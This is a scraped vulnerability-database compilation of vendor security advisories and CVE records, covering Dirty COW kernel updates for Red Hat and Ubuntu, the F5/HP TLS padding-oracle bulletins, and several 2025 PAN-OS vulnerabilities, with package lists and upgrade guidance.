x86_64: kernel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm kernel-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-headers-2.6.32-642.6.2.el6.x86_64.rpm perf-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
i386: kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm
ppc64: kernel-debug-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm kernel-debuginfo-common-ppc64-2.6.32-642.6.2.el6.ppc64.rpm perf-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm python-perf-2.6.32-642.6.2.el6.ppc64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm
s390x: kernel-debug-debuginfo-2.6.32-642.6.2.el6.s390x.rpm kernel-debuginfo-2.6.32-642.6.2.el6.s390x.rpm kernel-debuginfo-common-s390x-2.6.32-642.6.2.el6.s390x.rpm kernel-kdump-debuginfo-2.6.32-642.6.2.el6.s390x.rpm perf-debuginfo-2.6.32-642.6.2.el6.s390x.rpm python-perf-2.6.32-642.6.2.el6.s390x.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.s390x.rpm
x86_64: kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source: kernel-2.6.32-642.6.2.el6.src.rpm
i386: kernel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-devel-2.6.32-642.6.2.el6.i686.rpm kernel-headers-2.6.32-642.6.2.el6.i686.rpm perf-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm
noarch: kernel-abi-whitelists-2.6.32-642.6.2.el6.noarch.rpm kernel-doc-2.6.32-642.6.2.el6.noarch.rpm kernel-firmware-2.6.32-642.6.2.el6.noarch.rpm
x86_64: kernel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm kernel-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-headers-2.6.32-642.6.2.el6.x86_64.rpm perf-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
i386: kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm
x86_64: kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2016-5195 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/2706661
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2016 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce
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"data": "Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka \"Dirty COW.\". Linux kernel is prone to a local privilege-escalation vulnerability. \nLocal attackers may exploit this issue to gain elevated privileges. \n==========================================================================\nUbuntu Security Notice USN-3106-1\nOctober 20, 2016\n\nlinux vulnerability\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 16.04 LTS\n\nSummary:\n\nThe system could be made to run programs as an administrator. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 16.04 LTS:\n linux-image-4.4.0-45-generic 4.4.0-45.66\n linux-image-4.4.0-45-generic-lpae 4.4.0-45.66\n linux-image-4.4.0-45-lowlatency 4.4.0-45.66\n linux-image-4.4.0-45-powerpc-e500mc 4.4.0-45.66\n linux-image-4.4.0-45-powerpc-smp 4.4.0-45.66\n linux-image-4.4.0-45-powerpc64-emb 4.4.0-45.66\n linux-image-4.4.0-45-powerpc64-smp 4.4.0-45.66\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. \n\nATTENTION: Due to an unavoidable ABI change the kernel updates have\nbeen given a new version number, which requires you to recompile and\nreinstall all third party kernel modules you might have installed. \nUnless you manually uninstalled the standard kernel metapackages\n(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,\nlinux-powerpc), a standard system upgrade will automatically perform\nthis as well. 6.4) - x86_64\n\n3. (CVE-2016-5195, Important)\n\n* A flaw was found in the Linux kernel\u0027s keyring handling code: the\nkey_reject_and_link() function could be forced to free an arbitrary memory\nblock. An attacker could use this flaw to trigger a use-after-free\ncondition on the system, potentially allowing for privilege escalation. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Important: kernel security update\nAdvisory ID: RHSA-2016:2105-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://rhn.redhat.com/errata/RHSA-2016-2105.html\nIssue date: 2016-10-25\nCVE Names: CVE-2016-5195 \n=====================================================================\n\n1. Summary:\n\nAn update for kernel is now available for Red Hat Enterprise Linux 6. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Desktop (v. 6) - i386, noarch, x86_64\nRed Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node (v. 6) - noarch, x86_64\nRed Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Server (v. 6) - i386, noarch, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 6) - i386, noarch, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64\n\n3. An unprivileged, local user could use this flaw to gain write\naccess to otherwise read-only memory mappings and thus increase their\nprivileges on the system. (CVE-2016-5195, Important)\n\nRed Hat would like to thank Phil Oester for reporting this issue. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1384344 - CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage\n\n6. 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Hat Enterprise Linux Workstation Optional (v. 6):\n\ni386:\nkernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm\nkernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm\nkernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm\nperf-debuginfo-2.6.32-642.6.2.el6.i686.rpm\npython-perf-2.6.32-642.6.2.el6.i686.rpm\npython-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm\n\nx86_64:\nkernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm\nkernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm\nkernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm\nperf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm\npython-perf-2.6.32-642.6.2.el6.x86_64.rpm\npython-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-5195\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/security/vulnerabilities/2706661\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2016 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD4DBQFYEJcBXlSAg2UNWIIRAiWLAKCCzQq/hlgGpFbZwm1VmGEtsf8qbwCYhOVp\ncoEi7YBOAF6JIj/7g1jNNg==\n=enSu\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
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VAR-201412-0271
Vulnerability from variot - Updated: 2025-04-13 22:01The SSL profiles component in F5 BIG-IP LTM, APM, and ASM 10.0.0 through 10.2.4 and 11.0.0 through 11.5.1, AAM 11.4.0 through 11.5.1, AFM 11.3.0 through 11.5.1, Analytics 11.0.0 through 11.5.1, Edge Gateway, WebAccelerator, and WOM 10.1.0 through 10.2.4 and 11.0.0 through 11.3.0, PEM 11.3.0 through 11.6.0, and PSM 10.0.0 through 10.2.4 and 11.0.0 through 11.4.1 and BIG-IQ Cloud and Security 4.0.0 through 4.4.0 and Device 4.2.0 through 4.4.0, when using TLS 1.x before TLS 1.2, does not properly check CBC padding bytes when terminating connections, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, a variant of CVE-2014-3566 (aka POODLE). NOTE: the scope of this identifier is limited to the F5 implementation only. Other vulnerable implementations should receive their own CVE ID, since this is not a vulnerability within the design of TLS 1.x itself. The problem is CVE-2014-3566 ( alias POODLE) Similar problem. TLS is a new protocol developed by the IETF (Engineering Task Force). It is based on the SSL protocol specification and is the subsequent version of SSL. The Secure Transport Layer Protocol (TLS) is used to provide confidentiality and data integrity between two communication applications.
TLS has security vulnerabilities that mainly affect browsers. Because TLS1.2 failed to correctly verify PADDING, even if the attacker did not first downgrade to SSL3.0, he could use TLS1.2 to bypass the transport layer encryption mechanism by using man-in-the-middle attack methods to steal the user's sensitive information, such as cookies , Account information, etc. Note: This issue was previously titled 'OpenSSL CVE-2014-8730 Man In The Middle Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. An attacker can exploit this issue to perform man-in-the-middle attacks and obtain sensitive information. Successful exploits will lead to other attacks. F5 BIG-IP LTM, etc. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. The following products and versions are affected: F5 BIG-IP LTM, APM, ASM version 10.0.0 to 10.2.4 and 11.0.0 to 11.5.1, AAM version 11.4.0 to 11.5.1, AFM 11.3. 0 to 11.5.1, Analytics 11.0.0 to 11.5.1, Edge Gateway, WebAccelerator, WOM 10.1.0 to 10.2.4 and 11.0.0 to 11.3.0, PEM 11.3.0 to 11.6.0, PSM 10.0.0 to 10.2.4 and 11.0.0 to 11.4.1, BIG-IQ Cloud, Security 4.0.0 to 4.4.0, Device 4.2.0 to 4.4 .0 version. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
Note: the current version of the following document is available here: https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/ docDisplay?docId=emr_na-c04819635
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c04819635 Version: 1
HPSBPV03516 rev.1 - HP VAN SDN Controller, Multiple Vulnerabilities
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2015-09-29 Last Updated: 2015-09-29
Potential Security Impact: Disclosure of Privileged Information, Remote Disclosure of Privileged Information
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY A potential security vulnerability has been identified with the HP VAN SDN Controller running SSLv3. This is the SSLv3 vulnerability known as "Padding Oracle on Downgraded Legacy Encryption" also known as "Poodle", which could be exploited remotely resulting in disclosure of privileged information.
References:
CVE-2014-8730 SSRT102263
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
VAN SDN Controller 2.5.21 VAN SDN Controller 2.5.15
BACKGROUND
CVSS 2.0 Base Metrics
Reference Base Vector Base Score CVE-2014-8730 (AV:N/AC:M/Au:N/C:P/I:N/A:N) 4.3 =========================================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002
RESOLUTION
HP recommends disabling TLS v1.0 by deleting its entry in sslEnabledProtocols in the client Auth properties of the /opt/sdn/virgo/configuration/tomcat-server.xml file.
Open the /opt/sdn/virgo/configuration/tomcat-server.xml file for editing Change the following line from this: clientAuth="false" sslEnabledProtocols="TLSv1.0, TLSv1.1,TLSv1.2" to this: clientAuth="false" sslEnabledProtocols=" TLSv1.1,TLSv1.2" Restart the controller.
HISTORY Version:1 (rev.1) - 29 September 2015 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins
Security Bulletin Archive: A list of recently released Security Bulletins is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/
Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.
3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX
Copyright 2015 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
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"data": "The SSL profiles component in F5 BIG-IP LTM, APM, and ASM 10.0.0 through 10.2.4 and 11.0.0 through 11.5.1, AAM 11.4.0 through 11.5.1, AFM 11.3.0 through 11.5.1, Analytics 11.0.0 through 11.5.1, Edge Gateway, WebAccelerator, and WOM 10.1.0 through 10.2.4 and 11.0.0 through 11.3.0, PEM 11.3.0 through 11.6.0, and PSM 10.0.0 through 10.2.4 and 11.0.0 through 11.4.1 and BIG-IQ Cloud and Security 4.0.0 through 4.4.0 and Device 4.2.0 through 4.4.0, when using TLS 1.x before TLS 1.2, does not properly check CBC padding bytes when terminating connections, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, a variant of CVE-2014-3566 (aka POODLE). NOTE: the scope of this identifier is limited to the F5 implementation only. Other vulnerable implementations should receive their own CVE ID, since this is not a vulnerability within the design of TLS 1.x itself. The problem is CVE-2014-3566 ( alias POODLE) Similar problem. TLS is a new protocol developed by the IETF (Engineering Task Force). It is based on the SSL protocol specification and is the subsequent version of SSL. The Secure Transport Layer Protocol (TLS) is used to provide confidentiality and data integrity between two communication applications. \r\n\r\n\r\nTLS has security vulnerabilities that mainly affect browsers. Because TLS1.2 failed to correctly verify PADDING, even if the attacker did not first downgrade to SSL3.0, he could use TLS1.2 to bypass the transport layer encryption mechanism by using man-in-the-middle attack methods to steal the user\u0027s sensitive information, such as cookies , Account information, etc. \nNote: This issue was previously titled \u0027OpenSSL CVE-2014-8730 Man In The Middle Information Disclosure Vulnerability\u0027. The title and technical details have been changed to better reflect the underlying component affected. \nAn attacker can exploit this issue to perform man-in-the-middle attacks and obtain sensitive information. Successful exploits will lead to other attacks. F5 BIG-IP LTM, etc. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. The following products and versions are affected: F5 BIG-IP LTM, APM, ASM version 10.0.0 to 10.2.4 and 11.0.0 to 11.5.1, AAM version 11.4.0 to 11.5.1, AFM 11.3. 0 to 11.5.1, Analytics 11.0.0 to 11.5.1, Edge Gateway, WebAccelerator, WOM 10.1.0 to 10.2.4 and 11.0.0 to 11.3.0, PEM 11.3.0 to 11.6.0, PSM 10.0.0 to 10.2.4 and 11.0.0 to 11.4.1, BIG-IQ Cloud, Security 4.0.0 to 4.4.0, Device 4.2.0 to 4.4 .0 version. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/portal/site/hpsc/public/kb/\ndocDisplay?docId=emr_na-c04819635\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c04819635\nVersion: 1\n\nHPSBPV03516 rev.1 - HP VAN SDN Controller, Multiple Vulnerabilities\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2015-09-29\nLast Updated: 2015-09-29\n\nPotential Security Impact: Disclosure of Privileged Information, Remote\nDisclosure of Privileged Information\n\nSource: Hewlett-Packard Company, HP Software Security Response Team\n\nVULNERABILITY SUMMARY\nA potential security vulnerability has been identified with the HP VAN SDN\nController running SSLv3. This is the SSLv3 vulnerability known as \"Padding\nOracle on Downgraded Legacy Encryption\" also known as \"Poodle\", which could\nbe exploited remotely resulting in disclosure of privileged information. \n\nReferences:\n\nCVE-2014-8730\nSSRT102263\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \n\nVAN SDN Controller 2.5.21\nVAN SDN Controller 2.5.15\n\nBACKGROUND\n\nCVSS 2.0 Base Metrics\n===========================================================\n Reference Base Vector Base Score\nCVE-2014-8730 (AV:N/AC:M/Au:N/C:P/I:N/A:N) 4.3\n===========================================================\n Information on CVSS is documented\n in HP Customer Notice: HPSN-2008-002\n\nRESOLUTION\n\nHP recommends disabling TLS v1.0 by deleting its entry in sslEnabledProtocols\nin the client Auth properties of the\n/opt/sdn/virgo/configuration/tomcat-server.xml file. \n\nOpen the /opt/sdn/virgo/configuration/tomcat-server.xml file for editing\nChange the following line from this: clientAuth=\"false\"\nsslEnabledProtocols=\"TLSv1.0, TLSv1.1,TLSv1.2\" to this: clientAuth=\"false\"\nsslEnabledProtocols=\" TLSv1.1,TLSv1.2\"\nRestart the controller. \n\nHISTORY\nVersion:1 (rev.1) - 29 September 2015 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running HP software products should be applied in\naccordance with the customer\u0027s patch management policy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HP Services support channel. For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hp.com. \n\nReport: To report a potential security vulnerability with any HP supported\nproduct, send Email to: security-alert@hp.com\n\nSubscribe: To initiate a subscription to receive future HP Security Bulletin\nalerts via Email:\nhttp://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HP General Software\nHF = HP Hardware and Firmware\nMP = MPE/iX\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPI = Printing and Imaging\nPV = ProCurve\nST = Storage Software\nTU = Tru64 UNIX\nUX = HP-UX\n\nCopyright 2015 Hewlett-Packard Development Company, L.P. \nHewlett-Packard Company shall not be liable for technical or editorial errors\nor omissions contained herein. The information provided is provided \"as is\"\nwithout warranty of any kind. To the extent permitted by law, neither HP or\nits affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. \nHewlett-Packard Company and the names of Hewlett-Packard products referenced\nherein are trademarks of Hewlett-Packard Company in the United States and\nother countries. Other product and company names mentioned herein may be\ntrademarks of their respective owners. \n\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.13 (GNU/Linux)\n\niEYEARECAAYFAlYKlgkACgkQ4B86/C0qfVmdggCg40wxxeG+Op+gBFzLBG9neKCo\nbW4AnjzTddq/rpaQfITkTvhg7DUpT9f5\n=Px26\n-----END PGP SIGNATURE-----\n",
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CVE-2025-4615 (GCVE-0-2025-4615)
Vulnerability from nvd – Published: 2025-10-09 18:28 – Updated: 2026-04-01 00:44
VLAI?
Title
PAN-OS: Improper Neutralization of Input in the Management Web Interface
Summary
An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and execute arbitrary commands.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
Severity ?
CWE
- CWE-83 - Improper Neutralization of Script in Attributes in a Web Page
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-10-08 16:00
Credits
Visa Inc.
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"defect": [
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"time": "2025-12-19T21:55:00.000Z",
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"value": "Initial Publication"
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"cveId": "CVE-2025-4615",
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CVE-2025-4614 (GCVE-0-2025-4614)
Vulnerability from nvd – Published: 2025-10-09 18:13 – Updated: 2025-10-09 19:15
VLAI?
Title
PAN-OS: Session Token Disclosure Vulnerability
Summary
An information disclosure vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to view session tokens of users authenticated to the firewall web UI. This may allow impersonation of users whose session tokens are leaked.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
Severity ?
CWE
- CWE-497 - Exposure of Sensitive System Information to an Unauthorized Control Sphere
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-10-08 16:00
Credits
Visa Inc.
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{
"Automatable": "no"
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{
"Technical Impact": "partial"
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"timestamp": "2025-10-09T19:14:59.026991Z",
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"credits": [
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"value": "\u003cp\u003eAn information disclosure vulnerability in Palo Alto Networks PAN-OS\u00ae software enables an authenticated administrator to view session tokens of users authenticated to the firewall web UI. This may allow impersonation of users whose session tokens are leaked. \u0026nbsp;\u003c/p\u003e\u003cp\u003eThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.\u003c/p\u003e\u003cp\u003eCloud NGFW and Prisma\u00ae Access are not affected by this vulnerability.\u003c/p\u003e"
}
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"baseScore": 4.8,
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"providerMetadata": {
"dateUpdated": "2025-10-09T18:13:22.016Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
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"tags": [
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"value": "\u003ctable class=\"tbl\"\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCloud NGFW\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 12.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e11.2.0 through 11.2.7\u003c/td\u003e\n \u003ctd\u003eUpgrade to 11.2.8 or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003ePAN-OS 11.1\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e11.1.0 through 11.1.11\u003c/td\u003e\n \u003ctd\u003eUpgrade to 11.1.12 or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003ePAN-OS 10.2\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e10.2.0 through 10.2.16\u003c/td\u003e\n \u003ctd\u003eUpgrade to 10.2.17 or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eAll older\u003cbr\u003eunsupported\u003cbr\u003ePAN-OS versions\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e"
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}
],
"source": {
"defect": [
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"PAN-286164"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-10-08T16:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Session Token Disclosure Vulnerability",
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CVE-2025-4231 (GCVE-0-2025-4231)
Vulnerability from nvd – Published: 2025-06-12 23:27 – Updated: 2026-02-26 17:50
VLAI?
Title
PAN-OS: Authenticated Admin Command Injection Vulnerability in the Management Web Interface
Summary
A command injection vulnerability in Palo Alto Networks PAN-OS® enables an authenticated administrative user to perform actions as the root user.
The attacker must have network access to the management web interface and successfully authenticate to exploit this issue.
Cloud NGFW and Prisma Access are not impacted by this vulnerability.
Severity ?
CWE
- CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All , < 6.3.3
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-06-11 16:00
Credits
spcnvdr
